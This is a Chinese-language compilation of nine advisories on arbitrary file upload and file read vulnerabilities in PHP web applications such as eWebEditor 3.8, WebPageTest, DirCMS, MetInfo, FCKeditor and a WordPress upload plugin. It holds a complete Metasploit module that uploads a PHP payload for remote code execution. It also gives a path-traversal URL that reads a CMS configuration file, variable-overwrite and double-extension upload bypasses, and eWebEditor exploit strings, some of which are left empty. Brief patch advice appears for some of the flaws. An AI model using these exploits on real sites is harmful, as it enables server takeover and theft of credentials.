“福气崽福气都在后头”通过精心收集,向本站投稿了9篇ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警,以下是小编帮大家整理后的ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警,仅供参考,希望能够帮助到大家。
- 目录
- 第1篇:ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警第2篇:ewebeditor for php任意文件上传漏洞第3篇:WebPageTest任意php文件上传漏洞预警第4篇:DirCMS 任意文件读取0day漏洞预警第5篇:eWebeditoR3.8 for php任意文件上传EXP漏洞预警第6篇:MetInfov5.1.3 任意文件上传漏洞漏洞预警第7篇:Fckeditor =2.4.2 For php 任意上传文件漏洞第8篇:ThinkSNS又一个任意上传文件漏洞漏洞预警第9篇:WordPress Front End Upload v0.5.4.4任意php文件上传漏洞预警
篇1:ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警
eWebeditoR3.8 for php任意文件上EXP
URL:
0|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|w
av|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif
|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0
|||0|||||||||1|||0|||Office|||1|||zh- cn|||0|||500|||300|||0|||…|||FF00
00|||12|||宋 体||||||0|||jpg|jpeg|||300|||FFFFFF|||1″>
file:
篇2:ewebeditor for php任意文件上传漏洞
此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞,PHP版本的ewebeditor并没有使用数据库来保存配置信息,所有信息位于php/config.php中,代码如下:
$sUsername = ”admin“;
$sPassword = ”admin“;
$aStyle[1] = ”gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1“;
........
它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格,然后就可以在自己添加的风格中可以随意定义可上传文件类型。
这漏洞成因很简单,下面给个exp
URL:
file:
漏洞修补方法:
初始化数组$aStyle
$sUsername = ”admin“;
$sPassword = ”admin“;
$aStyle. = array();
$aStyle[1] = ”gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1“;
篇3:WebPageTest任意php文件上传漏洞预警
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' =>”WebPageTest Arbitrary PHP File Upload“,
'Description' =>%q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.phpfile does not verify the user-supplied item before
saving it to disk, and then places this item in the web directory accessable by
remote users. This flaw can be abused to gain remote code execution.
},
'License' =>MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
['EDB', '19790']
],
'Payload' =>
{
'BadChars' =>”x00“
},
'DefaultOptions' =>
{
'ExitFunction' =>”none“
},
'Platform' =>['php'],
'Arch' =>ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' =>false,
'DisclosureDate' =>”Jul 13 “,
'DefaultTarget' =>0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
], self.class)
end
def check
peer = ”#{rhost}:#{rport}“
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(”#{target_uri.path}.“)
res1 = send_request_raw({'uri'=>”#{base}/index.php“})
res2 = send_request_raw({'uri'=>”#{base}/work/resultimage.php“})
if res1 and res1.body =~ /WebPagetest - Website Performance and Optimization Test/ and
res2 and res2.code == 200
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def on_new_session(cli)
if cli.type != ”meterpreter“
print_error(”No automatic cleanup for you. Please manually remove: #{@target_path}“)
return
end
cli.core.use(”stdapi“) if not cli.ext.aliases.include?(”stdapi“)
cli.fs.file.rm(@target_path)
print_status(”#{@target_path} removed“)
end
def exploit
peer = ”#{rhost}:#{rport}“
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(”#{target_uri.path}.“)
p = payload.encoded
fname = ”blah.php“
data = Rex::MIME::Message.new
data.add_part(
”
'multipart/form-data', #Content Type
nil, #Transfer Encoding
“form-data; name=”file“; filename=”#{fname}“” #Content Disposition
)
print_status(“#{peer} - Uploading payload (#{p.length.to_s} bytes)...”)
res = send_request_cgi({
'method' =>'POST',
'uri' =>“#{base}/work/resultimage.php”,
'ctype' =>“multipart/form-data; boundary=#{data.bound}”,
'data' =>data.to_s
})
if not res
print_error(“#{peer} - No response from host”)
return
end www.xxxxo.com
@target_path = “#{base}/results/#{fname}”
print_status(“#{peer} - Requesting #{@target_path}”)
res = send_request_cgi({'uri'=>@target_path})
handler
if res and res.code == 404
print_error(“#{peer} - Payload failed to upload”)
end
end
end
篇4:DirCMS 任意文件读取0day漏洞预警
感觉时间真的过得真的很快,电脑一开一关一天就没了,不能这样下去,所以我打算抽出点时间来写博客和学习,记录一下自己的成长。
不管是程序员、还是安全工程师,读别人的代码无疑都是进步较快的方式,所以我觉得从今天起抽出时间来把站长网上的开源cms都看一遍,学习学习。
看到一套DirCms就把他下回来了,名字还蛮特别的(ps:小心我dir溢出你)。
貌似黑帽子们审计代码都是查找关键字和跟踪关键位置,自己定义好一个存在风险的函数和变量名列表。我又不是黑阔,所以我喜欢根据程序的架构一个一个文件慢慢看,随便学习下开发者的技巧。
当我看到/api/upload/swfthumbnail.php这个文件的时候,彻底无语了,只有短短的几十行代码。
如下:
// This script. accepts an ID and looks in the user's session for stored thumbnail name.
// It then streams the data to the browser from the file
// Work around the Flash Player Cookie Bug
if(isset($_POST[“PHPSESSID”])){//这个判断不会影响程序向下执行,不用管他
session_id($_POST[“PHPSESSID”]);
}
session_start;
//关键位置,我想说这个正则有啥用? boss可以扣除这个程序员的资金了。
$image_id=isset($_GET[“id”])?preg_replace('/[^a-z0-9:./-]/i','',$_GET[“id”]):false;
//由于上面的正则问题,所以 $image_id 就算是恶意构造也是为真的
if($image_id===false)
{
header(“HTTP/1.1 500 Internal Server Error”);
echo“No ID”;
exit(0);
}
//只要id的值不以 开头,而且文件存在就可以不进入里面了,
由于是读本地文件,当然不用开头,保证文件的存在可以用相对路径../../
if(substr($image_id,0,7)!=''&&!file_exists(“../../upload/image/”.$image_id))
{
header(“HTTP/1.1 404 Not found”);
exit(0);
}
//上面都通过了,这个当然没问题
if(substr($image_id,0,7)!='')
{
header(“Content-type: image/jpeg”);
header(“Content-length: ”.filesize(“../../upload/image/”.$image_id));
flush();
readfile(“../../upload/image/”.$image_id);//输出文件
}
else
{
header('location:'.$image_id);
}
exit(0);
?>
测试版本为最新版:DirCMS Sp3
Exp:view-source:/api/upload/swfthumbnail.php?id=../../include/common.inc.php
已通知官方,请勿非法测试,产生后果与本人无关。
篇5:eWebeditoR3.8 for php任意文件上传EXP漏洞预警
eWebeditoR3.8 for php任意文件上EXP
URL:
file:
漏洞修补方法:
初始化数组$aStyle
$sUsername = “admin”;
$sPassword = “admin”;
$aStyle. = array();
$aStyle[1] = “gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1”;
篇6:MetInfov5.1.3 任意文件上传漏洞漏洞预警
MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞....
ps:欢迎各种形式,首发t00ls.net
注:请勿利用本文内容从事一切非法活动,否则后果自负
author:my5t3ry
废话不多说,看代码:
includecommon.inc.php20-39$db_settings=parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);require_once ROOTPATH.'include/mysql_class.php';$db=newdbmysql;$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc());isset($_REQUEST['GLOBALS'])&&exit('Access Error');require_once ROOTPATH.'include/global.func.php';foreach(array('_COOKIE','_POST','_GET')as$_request){foreach($$_requestas$_key=>$_value){$_key{0}!='_'&&$$_key=daddslashes($_value);}}$query=“select * from {$tablepre}config where name='met_tablename' and lang='metinfo'”;$mettable=$db->get_one($query);$mettables=explode('|',$mettable[value]);foreach($mettablesas$key=>$val){$tablename='met_'.$val;$$tablename=$tablepre.$val;}
metinfo系统通过查询数据库的{$tablepre}config表,并将获取的结果通过foreach循环初始化表名变量,其中的
是通过代码
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php'); @extract($db_settings);
来初始化的,然后在系统中使用这样“SELECT * FROM $met_message where id=$id and lang='$lang'”的SQL查询数据库,
其中的$met_message变量就是前面foreach循环初始化的变量……
我们可以覆盖$tablepre变量使表名初始化失败,进而提交表名变量.....
我找了个后台的上传页面,通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表,构造上传漏洞,
MetInfov5.1.3 任意文件上传漏洞漏洞预警
,
exp:任意文件上传
篇7:Fckeditor =2.4.2 For php 任意上传文件漏洞
lost.cq.cn
FCKeditor是一款非常优秀的HTML在线编辑器,在处理PHP上传的地方存在严重的安全漏洞
导致用户可以上传任意文件
在fckeditor/editor/filemanager/upload/php/upload.php 61行
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
SendResults( 1, '', '', 'Invalid type specified' ) ;
// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;
// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) )
|| ( count($arDenied) > 0 && in_array( $sExtension,
$arDenied ) ) )
SendResults( '202' ) ;
程序从$_GET数组中获取Type变量,然后通过in_array进行类型判断,
但在config配置文件中
$Config['ForceSingleExtension'] = true ;
$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File'] =
array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm',
'cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
$Config['AllowedExtensions']['Image'] =
array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;
$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;
并未对Media类型进行上传文件类型的控制,导致用户上传任意文件
修补办法:更新到最新的2.5版本。或者在config.php文件中,添加对Media类型的文件类型限制
篇8:ThinkSNS又一个任意上传文件漏洞漏洞预警
某模块未对上传文件类型进行验证,可上传任意文件
代码产生位置
appswapLibActionIndexAction.class.php
263行
if(!empty($_FILES['pic']['name'])) { // 自动发一条图片微博
$data['pic'] = $_FILES['pic'];
$data['content'] = '图片分享';
$data['from'] = $this->_type_wap;
$res = api('Statuses')->data($data)->upload;
}
未对文件类型过滤
访问wap 模块
发一条微博并传图
firebug 地址
去掉small_然后访问
www.myhack58.com/data/uploads//1023/17/50865d481c217.php
修复方案:
对上传类型要进行检查
篇9:WordPress Front End Upload v0.5.4.4任意php文件上传漏洞预警
标题: WordPress Front End Upload v0.5.4.4 Arbitrary PHP File Upload Vulnerability
作者: Chris Kellum
主页: mondaybynoon.com/
软件地址: downloads.wordpress.org/plugin/front-end-upload.0.5.4.4.zip
影响版本: 0.5.4.4
缺陷分析
=====================
Plugin does not properly filter filetypes, which allows for the upload of filetypes in the following format:
filename.php.jpg
Vulnerable hosts will serve such files as a php file, allowing for malicious files to be uploaded and executed.
In creating the uploads folder for this plugin, the code utilizes uniqid to add a unique string to the upload folder name in order to better hide it from direct access.
Example:
www.xxxx.com/wp-content/uploads/feu_9fc12558ac71e6995808cfc590207e87/
However, many WordPress installations allow direct access to the /wp-content/uploads/ folder, so simply look for a folder name beginning with 'feu_' to locate your upload.
★ Nginx %00空字节执行任意代码(php)漏洞漏洞预警
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★ phpWebThings = 1.5.2 MD5 Hash恢复/文件公开远程漏洞漏洞预警
★ Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警
★ Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复
ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警(集锦9篇)
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